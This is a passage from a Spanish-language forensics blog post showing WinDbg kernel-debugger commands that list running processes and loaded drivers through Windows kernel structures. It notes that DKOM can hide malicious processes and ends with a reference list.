Utilizando el campo PsActiveProcessHead de la estructura anterior podemos listar los procesos en ejecución. Importante resaltar que dado que estamos utilizando la lista doblemente enlazada el resultado puede haber sido alterado si se ha utilizado DKOM para ocultar algún proceso malicioso:

lkd> dt _EPROCESS -l ActiveProcessLinks.Flink -y ImageFileName 81d5599-0xa0

o también la lista de drivers de dispositivos cargados en memoria mediante el campo PsLoadedModuleList:

lkd> dt _LDR_DATA_TABLE_ENTRY -l InLoadOrderLinks.Flink -y FullDllName 81d5fc70-0x0

Por supuesto el resultado obtenido mediante el comando anterior tambien es susceptible al uso de DKOM.

Referencias

Microsoft Windows Internals, Fifth Edition
David Solomon, Mark Russinovich y Alex Ionescu

Finding some non-exported kernel variables in Windows XP

Getting Kernel Variables from KdVersionBlock, Part 2

Finding Kernel Global Variables in Windows

Récup IDT, GDT , etc. sur systèmes MP

Kernel Debugging in Windows Vista

Advanced Windows Kernel Debugging with VMWare and IDA's GDB debugger

Debugger Engine and Extension APIs
C:\Program Files\Debugging Tools for Windows (x86)\debugger.chm

Setup A Windbg Extension In VisualStudio 2008

Debug Tutorial Part 4: Writing WINDBG Extensions

Inside Out WinDbg Extensions

Easy list traversing (dt vs. !list)

Fuente:
http://neosysforensics.blogspot.com/2010/08/usando-la-estructura-kpcr-en-nuestro.html